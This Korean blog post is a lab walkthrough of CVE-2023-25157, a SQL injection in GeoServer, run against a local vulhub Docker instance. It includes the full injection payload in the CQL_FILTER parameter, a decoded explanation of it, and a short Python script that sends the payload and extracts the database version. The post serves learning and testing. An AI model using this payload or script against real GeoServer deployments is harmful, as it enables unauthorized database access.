오늘은 취약한 도커 서버를 분석해 보자 + CVE 분석하는 방법
먼저 CVE이란 공개적으로 알려진 컴퓨터 보안 결함 목록이다. CVE는 CVE ID가 할당 되어 있다.
오늘 분석할 CVE는
https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2023-25157
이것이다.
먼저 이것을 칼리 리눅스에 가져온다.
그리고 다음과 같은 명령어를 실행하여 준다.
CVE는 기본적으로 취약한 도커 환경을 지원하기 때문에 자기 혼자서 해당 취약한 서버를 공격하는게 가능하다
docker-compose up -d
이렇게 취약한 도커 서버를 실행하는 것이 가능하며 README 파일을 살펴보아 자신이 로컬 호스트 중에서 어느 포트로 접속해야 도커 서버에 접속 가능한지 알려준다. 나 같은 경우는 로컬 호스트로 8080에 들어가면 됐다
이는 취약한 도커 서버에 잘 도착한 모습이다. 그러면 어떻게 익스플로잇을 하면 되는지 README 파일을 살펴본 결과
이 도커 서버의 취약점은 SQL Injection 이였다.
그러면 먼저 어느 부분에서 SQL 취약점이 발생하는지 찾아야 한다.
README에서는 http://your-ip:8080/geoserver/ows 이 주소에 get 방식으로 전달하는 파라미터 중 하나가 SQL injection을 방지 하기 위한 필터링을 거치지 않고 그대로 SQL 쿼리에 삽입 된다는 취약점을 알 수 있었다.
http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
먼저 익스플로잇 코드 예시이다. /geoserver/ows 경로에서 공격을 수행 하며 여러 파라미터를 전달하는 것을 알 수 있는데
그 중에서 CQL_FILTER 파라미터에 SQL 인젝션 내용이 있는 것을 확인 할 수 있었다.
CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
URL 인코딩이 되어 있으니 URL 디코딩을 수행하여 보다 편하게 분석 할 수 있다.
CQL_FILTER=strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true
이 익스플로잇 쿼리문에서 우리는 다음과 같은 추측을 할 수 있다.
1. OWS(Open Web Service) 엔드포인트에 요청을 하며,
2. (service=wfs) WFS에 대한 요청임을 나타낸다
3. WFS 버전은 1.0.0 이다
4. requset= GetFeature을 보아 피처을 가져오는 요청임을 알 수가 있다
그리고 SQL Injection을 수행하는 파라미터를 보면은,
strStartsWith(name,'x'') = true:
name이라는 필드가 'x'로 시작하는 피처를 필터링 하려고 시도하고 있다.
여기서 단일 따옴표가 있어서 여기서 부터 쿼리를 조작하고 있음을 알 수 있다.
and 1=(SELECT CAST ((SELECT version()) AS integer)) -- '):
이 부분은 SQL 인젝션에서 version() 함수를 사용하여 데이터베이스의 버전을 조회하고 그 결과를
AS integer를 통해 정수로 반환하려 한다. 그리고 "--"은 SQL 언어에선 주석을 의미하므로 그 뒤의 SQL 쿼리는 전부 무시된다
따라서 이 구문은 취약한 GeoServer 인스턴스에 대한 SQL 인젝션인 것을 알 수 있다.
그럼 이 공격을 수행하여 해당 데이터베이스의 버전을 알아내는 익스플로잇 코드를 작성 할 수 있다.
import requests
url="http://localhost:8080/geoserver/ows"
par="?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true"
r=requests.get(url=url+par)
index = r.text.find("PostgreSQL")
index2 =(r.text[index:]).find(",")
respone의 데이터를 분석하여 버전이 있는 곳을 특정하여 코드를 출력해 보았다.
'해킹 공격' 카테고리의 다른 글
[NOOBHACK] 윈도우, 리눅스 패킷 캡쳐 코드 (2) | 2023.09.19 |
---|---|
[NOOBHACK] 언더플로우?? (0) | 2023.09.10 |
[NOOBHACK] Fream Pointer Overflow 취약점 (FPO) (0) | 2023.02.08 |
[NOOBHACK] 버퍼 오버플로우 BOF(buffer overflow) (0) | 2022.08.18 |
[NOOBHACK] XSS 공격 기법 (0) | 2022.08.16 |